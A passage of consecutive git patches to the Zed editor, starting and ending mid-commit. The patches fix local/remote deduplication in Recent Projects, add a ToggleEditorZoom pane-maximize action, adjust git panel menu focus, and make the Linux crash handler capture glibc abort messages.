could hide the other, and if one of them was already open, the picker
could end up hiding both.

This change keeps the deduplication and picker filtering keyed on both
the workspace location and the path list, so local and remote copies of
the same repo can both appear when they should.

## Test plan
- `rustfmt --edition 2024 crates/recent_projects/src/recent_projects.rs
crates/workspace/src/persistence.rs`
- `git diff --check -- crates/recent_projects/src/recent_projects.rs
crates/workspace/src/persistence.rs`

Release Notes:

- Fixed Recent Projects hiding either the local or remote workspace when
both used the same checkout path.

Co-authored-by: Mikayla Maki <mikayla.c.maki@gmail.com>
---
 crates/recent_projects/src/recent_projects.rs | 73 +++++++++++++++++--
 1 file changed, 65 insertions(+), 8 deletions(-)

diff --git a/crates/recent_projects/src/recent_projects.rs b/crates/recent_projects/src/recent_projects.rs
index 369cff1cc6e6f2..02a05f89293727 100644
--- a/crates/recent_projects/src/recent_projects.rs
+++ b/crates/recent_projects/src/recent_projects.rs
@@ -17,7 +17,7 @@ use fs::Fs;
 #[cfg(target_os = "windows")]
 mod wsl_picker;
 
-use remote::RemoteConnectionOptions;
+use remote::{RemoteConnectionOptions, same_remote_connection_identity};
 pub use remote_connection::{RemoteConnectionModal, connect, connect_with_modal};
 pub use remote_connections::{navigate_to_positions, open_remote_project};
 
@@ -45,8 +45,8 @@ use ui::{
 };
 use util::{ResultExt, paths::PathExt};
 use workspace::{
-    HistoryManager, ModalView, MultiWorkspace, OpenMode, OpenOptions, OpenVisible, PathList,
-    RecentWorkspace, SerializedWorkspaceLocation, Workspace, WorkspaceDb, WorkspaceId,
+    HistoryManager, ModalView, MultiWorkspace, OpenMode, OpenOptions, OpenVisible, RecentWorkspace,
+    SerializedWorkspaceLocation, Workspace, WorkspaceDb, WorkspaceId,
     notifications::DetachAndPromptErr, with_active_or_new_workspace,
 };
 use zed_actions::{OpenDevContainer, OpenRecent, OpenRemote};
@@ -2433,14 +2433,24 @@ impl RecentProjectsDelegate {
             .any(|key| key.matches(&workspace.project_group_key()))
     }
 
-    fn is_open_folder(&self, paths: &PathList) -> bool {
+    fn is_open_folder(&self, workspace: &RecentWorkspace) -> bool {
         if self.open_folders.is_empty() {
             return false;
         }
 
-        for workspace_path in paths.paths() {
+        let workspace_host = match &workspace.location {
+            SerializedWorkspaceLocation::Local => None,
+            SerializedWorkspaceLocation::Remote(options) => Some(options),
+        };
+
+        for workspace_path in workspace.paths.paths() {
             for open_folder in &self.open_folders {
-                if workspace_path == &open_folder.path {
+                if workspace_path == &open_folder.path
+                    && same_remote_connection_identity(
+                        workspace_host,
+                        open_folder.connection_options.as_ref(),
+                    )
+                {
                     return true;
                 }
             }
@@ -2456,7 +2466,7 @@ impl RecentProjectsDelegate {
     ) -> bool {
         !self.is_current_workspace(workspace.workspace_id, cx)
             && !self.is_in_current_window_groups(workspace)
-            && !self.is_open_folder(&workspace.paths)
+            && !self.is_open_folder(workspace)
     }
 }
 
@@ -2467,7 +2477,7 @@ mod tests {
     use serde_json::json;
     use settings::SettingsStore;
     use util::path;
-    use workspace::{AppState, open_paths};
+    use workspace::{AppState, PathList, open_paths};
 
     use super::*;
 
@@ -2679,6 +2689,53 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    fn is_open_folder_distinguishes_local_and_remote(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let shared_path = PathBuf::from("/repo");
+        let local_open_folder = OpenFolderEntry {
+            worktree_id: WorktreeId::from_usize(0),
+            name: "repo".into(),
+            path: shared_path.clone(),
+            branch: None,
+            is_active: false,
+            connection_options: None,
+        };
+
+        let delegate = RecentProjectsDelegate::new(
+            WeakEntity::new_invalid(),
+            false,
+            cx.update(|cx| cx.focus_handle()),
+            vec![local_open_folder],
+            Vec::new(),
+            ProjectPickerStyle::Modal,
+        );
+
+        let paths = PathList::new(&[shared_path]);
+        let local_workspace = RecentWorkspace {
+            workspace_id: WorkspaceId::from_i64(1),
+            location: SerializedWorkspaceLocation::Local,
+            paths: paths.clone(),
+            identity_paths: paths.clone(),
+            timestamp: Utc::now(),
+        };
+        let remote_workspace = RecentWorkspace {
+            workspace_id: WorkspaceId::from_i64(2),
+            location: SerializedWorkspaceLocation::Remote(RemoteConnectionOptions::Mock(
+                remote::MockConnectionOptions { id: 0 },
+            )),
+            paths: paths.clone(),
+            identity_paths: paths,
+            timestamp: Utc::now(),
+        };
+
+        // A local open folder should hide only the matching local recent
+        // project, not a remote checkout that shares the same path.
+        assert!(delegate.is_open_folder(&local_workspace));
+        assert!(!delegate.is_open_folder(&remote_workspace));
+    }
+
     #[gpui::test]
     fn deleting_top_recent_project_preserves_scroll_position(cx: &mut TestAppContext) {
         let target = FIRST_RECENT_PROJECT;

From fca4016aef0413798b53f241f6b3a26254ef4742 Mon Sep 17 00:00:00 2001
From: Ollie Rutherfurd <orutherfurd@gmail.com>
Date: Tue, 14 Jul 2026 16:36:17 -0400
Subject: [PATCH 463/772] workspace: Add ToggleEditorZoom action to maximize
 active pane (#53911)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

VS Code has a command called "Toggle Maximize Editor Group" (`Cmd+K
Cmd+M`) that expands the active editor pane to fill the entire center
area, hiding editor split panes, but leaving docks and panels visible.
Zed's existing `ToggleZoom` hides all panels and is closer to VS Code's
Zen Mode. VS Code has both — it would be useful for Zed to as well.

This is particularly useful for people working on laptops, and has been
raised before (#32715, #4897, #32860), but the addition of the project
panel alongside the agent panel has made it more relevant. I work with
the editor split vertically, but with the project and agent panels both
visible, on a laptop screen there's really only room for a single editor
pane. This command makes it easy to switch to and from that mode.

**Behavior:**
- New action: `workspace::ToggleEditorZoom`
- When activated, the active editor pane expands to fill 100% of the
center/editor area, hiding sibling split panes
- Docks and panels remain visible and unaffected
- Toggling again restores the previous split layout
- If `ToggleZoom` is active, it unzooms first, then maximizes

Here's a demo:


https://github.com/user-attachments/assets/fcf6748e-6c45-4c4a-8d9f-f106c6cd58ea

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #32715

Release Notes:

- Added `workspace::ToggleEditorZoom` action to maximize the active
editor pane within the center area while keeping panels visible.
---
 crates/debugger_ui/src/session/running.rs  |   1 +
 crates/terminal_view/src/terminal_panel.rs |   1 +
 crates/workspace/src/pane_group.rs         |  47 +++++++-
 crates/workspace/src/workspace.rs          | 134 ++++++++++++++++++++-
 4 files changed, 176 insertions(+), 7 deletions(-)

diff --git a/crates/debugger_ui/src/session/running.rs b/crates/debugger_ui/src/session/running.rs
index bce007f8b0ade6..1226055eb3fe7b 100644
--- a/crates/debugger_ui/src/session/running.rs
+++ b/crates/debugger_ui/src/session/running.rs
@@ -115,6 +115,7 @@ impl Render for RunningState {
         } else if let Some(active) = active {
             self.panes
                 .render(
+                    None,
                     None,
                     &ActivePaneDecorator::new(active, &self.workspace),
                     window,
diff --git a/crates/terminal_view/src/terminal_panel.rs b/crates/terminal_view/src/terminal_panel.rs
index e1f31c3614cbb6..602667c725a524 100644
--- a/crates/terminal_view/src/terminal_panel.rs
+++ b/crates/terminal_view/src/terminal_panel.rs
@@ -1364,6 +1364,7 @@ impl Render for TerminalPanel {
             .update(cx, |workspace, cx| {
                 registrar.size_full().child(self.center.render(
                     workspace.zoomed_item(),
+                    None,
                     &workspace::PaneRenderContext {
                         follower_states: &HashMap::default(),
                         active_call: workspace.active_call(),
diff --git a/crates/workspace/src/pane_group.rs b/crates/workspace/src/pane_group.rs
index 6b5a3cafabacae..dcd0b091a3f421 100644
--- a/crates/workspace/src/pane_group.rs
+++ b/crates/workspace/src/pane_group.rs
@@ -228,11 +228,14 @@ impl PaneGroup {
     pub fn render(
         &self,
         zoomed: Option<&AnyWeakView>,
+        maximized: Option<&WeakEntity<Pane>>,
         render_cx: &dyn PaneLeaderDecorator,
         window: &mut Window,
         cx: &mut App,
     ) -> impl IntoElement {
-        self.root.render(0, zoomed, render_cx, window, cx).element
+        self.root
+            .render(0, zoomed, maximized, render_cx, window, cx)
+            .element
     }
 
     pub fn panes(&self) -> Vec<&Entity<Pane>> {
@@ -528,6 +531,7 @@ impl Member {
         &self,
         basis: usize,
         zoomed: Option<&AnyWeakView>,
+        maximized: Option<&WeakEntity<Pane>>,
         render_cx: &dyn PaneLeaderDecorator,
         window: &mut Window,
         cx: &mut App,
@@ -541,6 +545,15 @@ impl Member {
                     };
                 }
 
+                if let Some(maximized) = maximized {
+                    if maximized.upgrade().as_ref() != Some(pane) {
+                        return PaneRenderResult {
+                            element: div().into_any(),
+                            contains_active_pane: false,
+                        };
+                    }
+                }
+
                 let decoration = render_cx.decorate(pane, cx);
                 let is_active = pane == render_cx.active_pane();
 
@@ -569,7 +582,17 @@ impl Member {
                     contains_active_pane: is_active,
                 }
             }
-            Member::Axis(axis) => axis.render(basis + 1, zoomed, render_cx, window, cx),
+            Member::Axis(axis) => axis.render(basis + 1, zoomed, maximized, render_cx, window, cx),
+        }
+    }
+
+    pub fn contains_pane(&self, needle: &Entity<Pane>) -> bool {
+        match self {
+            Member::Pane(pane) => pane == needle,
+            Member::Axis(axis) => axis
+                .members
+                .iter()
+                .any(|member| member.contains_pane(needle)),
         }
     }
 
@@ -922,10 +945,28 @@ impl PaneAxis {
         &self,
         basis: usize,
         zoomed: Option<&AnyWeakView>,
+        maximized: Option<&WeakEntity<Pane>>,
         render_cx: &dyn PaneLeaderDecorator,
         window: &mut Window,
         cx: &mut App,
     ) -> PaneRenderResult {
+        if let Some(maximized) = maximized {
+            if let Some(maximized_pane) = maximized.upgrade() {
+                for member in &self.members {
+                    if member.contains_pane(&maximized_pane) {
+                        return member.render(
+                            basis,
+                            zoomed,
+                            Some(maximized),
+                            render_cx,
+                            window,
+                            cx,
+                        );
+                    }
+                }
+            }
+        }
+
         debug_assert!(self.members.len() == self.flexes.lock().len());
         let mut active_pane_ix = None;
         let mut contains_active_pane = false;
@@ -949,7 +990,7 @@ impl PaneAxis {
                     }
                 }
 
-                let result = member.render((basis + ix) * 10, zoomed, render_cx, window, cx);
+                let result = member.render((basis + ix) * 10, zoomed, None, render_cx, window, cx);
                 if result.contains_active_pane {
                     contains_active_pane = true;
                 }
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index 23c9a5cf557e4a..ace71b3de14c3a 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -339,6 +339,9 @@ actions!(
         ToggleRightDock,
         /// Toggles zoom on the active pane.
         ToggleZoom,
+        /// Toggles maximizing the active editor pane within the center area,
+        /// hiding other split panes but leaving docks/panels unaffected.
+        ToggleEditorZoom,
         /// Toggles read-only mode for the active item (if supported by that item).
         ToggleReadOnlyFile,
         /// Zooms in on the active pane.
@@ -1370,6 +1373,7 @@ pub struct Workspace {
     zoomed: Option<AnyWeakView>,
     previous_dock_drag_coordinates: Option<Point<Pixels>>,
     zoomed_position: Option<DockPosition>,
+    maximized_pane: Option<WeakEntity<Pane>>,
     center: PaneGroup,
     left_dock: Entity<Dock>,
     bottom_dock: Entity<Dock>,
@@ -1821,6 +1825,7 @@ impl Workspace {
             weak_self: weak_handle.clone(),
             zoomed: None,
             zoomed_position: None,
+            maximized_pane: None,
             previous_dock_drag_coordinates: None,
             center,
             panes: vec![center_pane.clone()],
@@ -5540,6 +5545,13 @@ impl Workspace {
             None
         });
 
+        if let Some(maximized) = &self.maximized_pane {
+            let is_center_pane = self.panes.contains(&pane);
+            if is_center_pane && maximized.upgrade().as_ref() != Some(&pane) {
+                self.maximized_pane = None;
+            }
+        }
+
         self.dismiss_zoomed_items_to_reveal(dock_to_preserve, window, cx);
         if pane.read(cx).is_zoomed() {
             self.zoomed = Some(pane.downgrade().into());
@@ -5678,6 +5690,7 @@ impl Workspace {
             }
             pane::Event::ZoomIn => {
                 if *pane == self.active_pane {
+                    self.maximized_pane = None;
                     pane.update(cx, |pane, cx| pane.set_zoomed(true, cx));
                     if pane.read(cx).has_focus(window, cx) {
                         self.zoomed = Some(pane.downgrade().into());
@@ -5817,6 +5830,15 @@ impl Workspace {
         cx: &mut Context<Self>,
     ) {
         if self.center.remove(&pane, cx).unwrap() {
+            if self
+                .maximized_pane
+                .as_ref()
+                .and_then(|weak| weak.upgrade())
+                .as_ref()
+                == Some(&pane)
+            {
+                self.maximized_pane = None;
+            }
             self.force_remove_pane(&pane, &focus_on, window, cx);
             self.unfollow_in_pane(&pane, window, cx);
             self.last_leaders_by_pane.remove(&pane.downgrade());
@@ -7731,6 +7753,7 @@ impl Workspace {
                 },
             ))
             .on_action(cx.listener(Workspace::toggle_centered_layout))
+            .on_action(cx.listener(Workspace::toggle_editor_zoom))
             .on_action(cx.listener(
                 |workspace: &mut Workspace, action: &pane::ActivateNextItem, window, cx| {
                     if let Some(active_dock) = workspace.active_dock(window, cx) {
@@ -7995,6 +8018,37 @@ impl Workspace {
             });
     }
 
+    pub fn toggle_editor_zoom(
+        &mut self,
+        _: &ToggleEditorZoom,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if self.zoomed.is_some() {
+            self.active_pane.update(cx, |pane, cx| {
+                pane.set_zoomed(false, cx);
+            });
+            self.zoomed = None;
+            self.zoomed_position = None;
+            cx.emit(Event::ZoomChanged);
+        }
+
+        if let Some(maximized) = self.maximized_pane.take() {
+            if maximized.upgrade().as_ref() == Some(&self.active_pane) {
+                cx.notify();
+                return;
+            }
+        }
+
+        self.maximized_pane = Some(self.active_pane.downgrade());
+        window.focus(&self.active_pane.focus_handle(cx), cx);
+        cx.notify();
+    }
+
+    pub fn is_pane_maximized(&self) -> bool {
+        self.maximized_pane.is_some()
+    }
+
     fn adjust_padding(padding: Option<f32>) -> f32 {
         padding
             .unwrap_or(CenteredPaddingSettings::default().0)
@@ -8255,10 +8309,13 @@ impl Workspace {
                 this.track_focus(&self.region_focus_handles.editor)
             })
             .size_full()
-            .child(
-                self.center
-                    .render(self.zoomed.as_ref(), render_cx, window, cx),
-            )
+            .child(self.center.render(
+                self.zoomed.as_ref(),
+                self.maximized_pane.as_ref(),
+                render_cx,
+                window,
+                cx,
+            ))
     }
 
     pub fn for_window(window: &Window, cx: &App) -> Option<Entity<Workspace>> {
@@ -13571,6 +13628,75 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_toggle_editor_zoom(cx: &mut TestAppContext) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let (workspace, cx) =
+            cx.add_window_view(|window, cx| Workspace::test_new(project, window, cx));
+
+        let pane_a = workspace.update_in(cx, |workspace, _window, _cx| {
+            workspace.active_pane().clone()
+        });
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            let item = cx.new(TestItem::new);
+            workspace.add_item(pane_a.clone(), Box::new(item), None, true, true, window, cx);
+        });
+
+        let pane_b = split_pane(cx, &workspace);
+        workspace.update_in(cx, |workspace, window, cx| {
+            let item = cx.new(TestItem::new);
+            workspace.add_item(pane_b.clone(), Box::new(item), None, true, true, window, cx);
+        });
+
+        // Toggle editor zoom maximizes the active pane
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.toggle_editor_zoom(&ToggleEditorZoom, window, cx);
+            assert!(workspace.is_pane_maximized());
+            assert_eq!(
+                workspace.maximized_pane.as_ref().and_then(|w| w.upgrade()),
+                Some(pane_b.clone()),
+            );
+        });
+
+        // Toggle again un-maximizes
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.toggle_editor_zoom(&ToggleEditorZoom, window, cx);
+            assert!(!workspace.is_pane_maximized());
+        });
+
+        // Toggle editor zoom while zoomed: should unzoom then maximize
+        pane_b.update_in(cx, |pane, window, cx| {
+            pane.zoom_in(&ZoomIn, window, cx);
+        });
+        workspace.update_in(cx, |_workspace, _window, cx| {
+            assert!(pane_b.read(cx).is_zoomed());
+        });
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.toggle_editor_zoom(&ToggleEditorZoom, window, cx);
+            assert!(!pane_b.read(cx).is_zoomed());
+            assert!(workspace.zoomed.is_none());
+            assert!(workspace.is_pane_maximized());
+        });
+
+        // Un-maximize for next test
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.toggle_editor_zoom(&ToggleEditorZoom, window, cx);
+        });
+
+        // Maximized pane cleared when it is removed
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.toggle_editor_zoom(&ToggleEditorZoom, window, cx);
+            assert!(workspace.is_pane_maximized());
+        });
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.remove_pane(pane_b.clone(), None, window, cx);
+            assert!(!workspace.is_pane_maximized());
+        });
+    }
+
     #[gpui::test]
     async fn test_toggle_all_docks(cx: &mut gpui::TestAppContext) {
         init_test(cx);

From e3dd7b462ed86c91669f8329d0fa7808d94a3342 Mon Sep 17 00:00:00 2001
From: "Joseph T. Lyons" <JosephTLyons@gmail.com>
Date: Tue, 14 Jul 2026 17:06:27 -0400
Subject: [PATCH 464/772] Focus on the history tabs context menu when deploying
 (#61000)

Release Notes:

- N/A
---
 crates/git_ui/src/git_panel.rs | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 12d9a1e7392cdf..8a5f1202803230 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -7192,9 +7192,11 @@ impl GitPanel {
         &mut self,
         context_menu: Entity<ContextMenu>,
         position: Point<Pixels>,
-        window: &Window,
+        window: &mut Window,
         cx: &mut Context<Self>,
     ) {
+        window.focus(&context_menu.focus_handle(cx), cx);
+
         let subscription = cx.subscribe_in(
             &context_menu,
             window,

From 6b9f448ffc1d0807c57dfc94e76b1b4c4a319e7a Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Tue, 14 Jul 2026 17:47:47 -0400
Subject: [PATCH 465/772] crashes: Capture glibc's abort diagnostic in crash
 reports (#60624)

Linux crash reports for runtime-initiated aborts currently carry no
information about why the runtime aborted. A sizable family of Sentry
issues (FR-108 / [ZED-9SC](https://zed-dev.sentry.io/issues/7581925141/)
among them) consists of glibc's malloc integrity checks detecting heap
corruption and aborting from inside `malloc`/`realloc`/`free`, so each
event lands on a random victim stack and the underlying problem stays
invisible and ungroupable.

glibc records the diagnostic it prints before aborting ("free(): invalid
pointer", "double free or corruption", assertion failures,
stack-smashing reports) in the private `__abort_msg` global specifically
so it can be recovered post-mortem. This resolves that symbol's address
at startup and sends it to the crash-handler process; when a crash comes
in, the handler reads the message out of the crashed process's memory
with `process_vm_readv` while the client is still parked in its signal
handler awaiting the dump acknowledgement. The message is then attached
to crash uploads as a searchable `abort_message` tag plus a full-text
context. The crashed process does no work itself, which matters because
in exactly these crashes the crashed thread may hold the allocator's
arena lock, so it cannot safely allocate or format anything. Everything
degrades gracefully to the current behavior when the symbol is
unavailable (musl, future glibc changes).

With the tag in place, Sentry fingerprint rules can fold these
corruption aborts into a single tracked issue instead of minting a new
single-event issue per victim stack, and the message text distinguishes
double-frees from out-of-bounds metadata corruption when hunting the
actual culprit.

Release Notes:

- N/A
---
 Cargo.lock                    |   1 +
 crates/crashes/Cargo.toml     |   3 +
 crates/crashes/src/crashes.rs | 241 ++++++++++++++++++++++++++++++++++
 crates/zed/src/reliability.rs |  15 +++
 4 files changed, 260 insertions(+)

diff --git a/Cargo.lock b/Cargo.lock
index a44cdb5271cde1..e6ef165bba8ed8 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -4347,6 +4347,7 @@ version = "0.1.0"
 dependencies = [
  "async-process",
  "crash-handler",
+ "libc",
  "log",
  "mach2 0.5.0",
  "minidumper",
diff --git a/crates/crashes/Cargo.toml b/crates/crashes/Cargo.toml
index f8b898112c1881..1b118097cb4708 100644
--- a/crates/crashes/Cargo.toml
+++ b/crates/crashes/Cargo.toml
@@ -16,6 +16,9 @@ serde_json.workspace = true
 system_specs.workspace = true
 zstd.workspace = true
 
+[target.'cfg(target_os = "linux")'.dependencies]
+libc.workspace = true
+
 [target.'cfg(target_os = "macos")'.dependencies]
 mach2.workspace = true
 
diff --git a/crates/crashes/src/crashes.rs b/crates/crashes/src/crashes.rs
index 28217496cadb78..5d3fc954d308d7 100644
--- a/crates/crashes/src/crashes.rs
+++ b/crates/crashes/src/crashes.rs
@@ -138,6 +138,17 @@ where
     info!("crash signal handlers installed");
     send_crash_server_message(&client, CrashServerMessage::Init(crash_init));
 
+    #[cfg(all(target_os = "linux", target_env = "gnu"))]
+    if let Some(address) = abort_message_address() {
+        send_crash_server_message(
+            &client,
+            CrashServerMessage::AbortMessageLocation(AbortMessageLocation {
+                pid: process::id(),
+                address,
+            }),
+        );
+    }
+
     #[cfg(target_os = "linux")]
     handler.set_ptracer(Some(_crash_handler.id()));
 
@@ -170,6 +181,7 @@ pub struct CrashServer {
     panic_info: Mutex<Option<CrashPanic>>,
     active_gpu: Mutex<Option<system_specs::GpuSpecs>>,
     user_info: Mutex<Option<UserInfo>>,
+    abort_message_location: Mutex<Option<AbortMessageLocation>>,
     has_connection: Arc<AtomicBool>,
     logs_dir: PathBuf,
 }
@@ -179,11 +191,27 @@ pub struct CrashInfo {
     pub init: InitCrashHandler,
     pub panic: Option<CrashPanic>,
     pub minidump_error: Option<String>,
+    /// The diagnostic the C runtime recorded before aborting the process, e.g.
+    /// glibc's "free(): invalid pointer". Only present when the crash was a
+    /// runtime-initiated abort rather than a signal like SIGSEGV or a panic.
+    #[serde(default)]
+    pub abort_message: Option<String>,
     pub gpus: Vec<system_specs::GpuInfo>,
     pub active_gpu: Option<system_specs::GpuSpecs>,
     pub user_info: Option<UserInfo>,
 }
 
+/// Where to find the C runtime's abort diagnostic in the crashed process's
+/// memory. Sent by the client at startup so that after a crash the server can
+/// recover the message with `process_vm_readv`; the crashed process itself
+/// can't safely do this work, since its heap may be corrupt and its allocator
+/// locks may be held by the crashed thread.
+#[derive(Debug, Deserialize, Serialize, Clone, Copy)]
+pub struct AbortMessageLocation {
+    pub pid: u32,
+    pub address: u64,
+}
+
 #[derive(Debug, Deserialize, Serialize, Clone)]
 pub struct InitCrashHandler {
     pub session_id: String,
@@ -233,6 +261,110 @@ enum CrashServerMessage {
     Panic(CrashPanic),
     GPUInfo(GpuSpecs),
     UserInfo(UserInfo),
+    AbortMessageLocation(AbortMessageLocation),
+}
+
+/// glibc records the diagnostic it prints just before aborting (malloc integrity
+/// failures like "free(): invalid pointer", assertion failures, stack-smashing
+/// reports) in the private global `__abort_msg`, specifically so it can be
+/// recovered post-mortem. Resolve its address here, in a safe context at startup.
+/// The symbol is only exported at the GLIBC_PRIVATE version, which plain `dlsym`
+/// won't resolve, and it has no stability guarantee, so a null result (e.g. musl,
+/// or a future glibc removing it) just disables this diagnostic.
+#[cfg(all(target_os = "linux", target_env = "gnu"))]
+fn abort_message_address() -> Option<u64> {
+    let ptr = unsafe {
+        libc::dlvsym(
+            libc::RTLD_DEFAULT,
+            c"__abort_msg".as_ptr(),
+            c"GLIBC_PRIVATE".as_ptr(),
+        )
+    };
+    std::ptr::NonNull::new(ptr).map(|ptr| ptr.as_ptr() as u64)
+}
+
+/// Read the crashed process's abort diagnostic. `__abort_msg` points to a
+/// `struct abort_msg_s { unsigned int size; char msg[]; }` that glibc allocates
+/// with mmap so that it stays intact even when the heap is corrupt. `size` is
+/// the total byte size of that mapping (header included, rounded up to whole
+/// pages), not the message length; the message itself is NUL-terminated.
+#[cfg(target_os = "linux")]
+fn read_abort_message(location: AbortMessageLocation) -> Option<String> {
+    let pointer_bytes = read_process_memory(location.pid, location.address, size_of::<usize>())?;
+    let message_address = usize::from_ne_bytes(pointer_bytes.try_into().ok()?) as u64;
+    if message_address == 0 {
+        return None;
+    }
+    let size_bytes = read_process_memory(location.pid, message_address, size_of::<u32>())?;
+    let size = u32::from_ne_bytes(size_bytes.try_into().ok()?);
+    let message_bytes = read_process_memory(
+        location.pid,
+        message_address + size_of::<u32>() as u64,
+        abort_message_read_len(size)?,
+    )?;
+    parse_abort_message(&message_bytes)
+}
+
+/// How many message bytes to read given the `size` field of glibc's
+/// `abort_msg_s`. `size` holds the total size of the mmap'd allocation, so a
+/// value that isn't a whole number of pages means the layout has changed and
+/// we shouldn't trust it. Reading is capped at (one page minus the header),
+/// which both bounds the work and ensures the read never extends past the end
+/// of the mapping.
+#[cfg(any(target_os = "linux", test))]
+fn abort_message_read_len(size: u32) -> Option<usize> {
+    // Every Linux page size (4 KiB, 16 KiB, 64 KiB, ...) is a multiple of 4 KiB.
+    const PAGE_MULTIPLE: usize = 4096;
+    const MAX_READ: usize = 4096;
+
+    let size = size as usize;
+    if size == 0 || !size.is_multiple_of(PAGE_MULTIPLE) {
+        log::warn!("__abort_msg size field {size} is not page-rounded; layout may have changed");
+        return None;
+    }
+    Some(size.min(MAX_READ) - size_of::<u32>())
+}
+
+/// The message is NUL-terminated inside a zero-filled mapping, so truncate at
+/// the first NUL; `trim` alone would keep the padding, since NUL is not
+/// whitespace.
+#[cfg(any(target_os = "linux", test))]
+fn parse_abort_message(bytes: &[u8]) -> Option<String> {
+    let len = bytes
+        .iter()
+        .position(|&byte| byte == 0)
+        .unwrap_or(bytes.len());
+    let message = String::from_utf8_lossy(&bytes[..len]).trim().to_string();
+    (!message.is_empty()).then_some(message)
+}
+
+#[cfg(target_os = "linux")]
+fn read_process_memory(pid: u32, address: u64, len: usize) -> Option<Vec<u8>> {
+    let mut buffer = vec![0u8; len];
+    let local = libc::iovec {
+        iov_base: buffer.as_mut_ptr().cast(),
+        iov_len: len,
+    };
+    let remote = libc::iovec {
+        iov_base: address as *mut libc::c_void,
+        iov_len: len,
+    };
+    let bytes_read =
+        unsafe { libc::process_vm_readv(pid as libc::pid_t, &local, 1, &remote, 1, 0) };
+    if bytes_read < 0 {
+        log::warn!(
+            "process_vm_readv of {len} bytes at {address:#x} in pid {pid} failed: {}",
+            io::Error::last_os_error()
+        );
+        return None;
+    }
+    if bytes_read as usize != len {
+        log::warn!(
+            "process_vm_readv short read at {address:#x} in pid {pid}: {bytes_read} of {len} bytes"
+        );
+        return None;
+    }
+    Some(buffer)
 }
 
 impl minidumper::ServerHandler for CrashServer {
@@ -281,6 +413,14 @@ impl minidumper::ServerHandler for CrashServer {
             }
         };
 
+        // The crashed process is still alive at this point: it stays parked in
+        // its signal handler until the server acknowledges the dump request,
+        // which happens after this callback returns.
+        #[cfg(target_os = "linux")]
+        let abort_message = (*self.abort_message_location.lock()).and_then(read_abort_message);
+        #[cfg(not(target_os = "linux"))]
+        let abort_message = None;
+
         let crash_info = CrashInfo {
             init: self
                 .initialization_params
@@ -289,6 +429,7 @@ impl minidumper::ServerHandler for CrashServer {
                 .expect("not initialized"),
             panic: self.panic_info.lock().clone(),
             minidump_error,
+            abort_message,
             active_gpu: self.active_gpu.lock().clone(),
             gpus,
             user_info: self.user_info.lock().clone(),
@@ -320,6 +461,9 @@ impl minidumper::ServerHandler for CrashServer {
             CrashServerMessage::UserInfo(user_info) => {
                 self.user_info.lock().replace(user_info);
             }
+            CrashServerMessage::AbortMessageLocation(location) => {
+                self.abort_message_location.lock().replace(location);
+            }
         }
     }
 
@@ -523,6 +667,7 @@ pub fn crash_server(socket: &Path, logs_dir: PathBuf) {
                 initialization_params: Mutex::default(),
                 panic_info: Mutex::default(),
                 user_info: Mutex::default(),
+                abort_message_location: Mutex::default(),
                 has_connection,
                 active_gpu: Mutex::default(),
                 logs_dir,
@@ -532,3 +677,99 @@ pub fn crash_server(socket: &Path, logs_dir: PathBuf) {
         )
         .expect("failed to run server");
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn abort_message_read_len_requires_page_rounded_total() {
+        assert_eq!(abort_message_read_len(0), None);
+        // A message length rather than a mapping total means the glibc layout
+        // has changed out from under us.
+        assert_eq!(abort_message_read_len(23), None);
+        assert_eq!(abort_message_read_len(4097), None);
+        // The read must stay within the mapping: one page minus the header.
+        assert_eq!(abort_message_read_len(4096), Some(4092));
+        // Larger totals (long messages, larger page sizes) are clamped.
+        assert_eq!(abort_message_read_len(8192), Some(4092));
+        assert_eq!(abort_message_read_len(65536), Some(4092));
+    }
+
+    #[test]
+    fn parse_abort_message_truncates_at_nul() {
+        let mut buffer = b"free(): invalid pointer\n\0".to_vec();
+        buffer.resize(4092, 0);
+        assert_eq!(
+            parse_abort_message(&buffer),
+            Some("free(): invalid pointer".to_string())
+        );
+    }
+
+    #[test]
+    fn parse_abort_message_handles_missing_nul() {
+        assert_eq!(
+            parse_abort_message(b"double free or corruption (out)"),
+            Some("double free or corruption (out)".to_string())
+        );
+    }
+
+    #[test]
+    fn parse_abort_message_rejects_empty() {
+        assert_eq!(parse_abort_message(&[]), None);
+        assert_eq!(parse_abort_message(&[0; 16]), None);
+        assert_eq!(parse_abort_message(b"\n \0garbage after nul"), None);
+    }
+
+    /// End-to-end check of `read_abort_message` against a synthetic
+    /// `abort_msg_s` in this very process (`process_vm_readv` may always read
+    /// one's own memory). The message page is followed by a `PROT_NONE` guard
+    /// page so the test fails if the read ever extends past the mapping glibc
+    /// would have allocated.
+    #[cfg(target_os = "linux")]
+    #[test]
+    fn read_abort_message_reads_glibc_layout_from_a_live_process() {
+        let page_size = unsafe { libc::sysconf(libc::_SC_PAGESIZE) } as usize;
+        unsafe {
+            let mapping = libc::mmap(
+                std::ptr::null_mut(),
+                2 * page_size,
+                libc::PROT_READ | libc::PROT_WRITE,
+                libc::MAP_ANON | libc::MAP_PRIVATE,
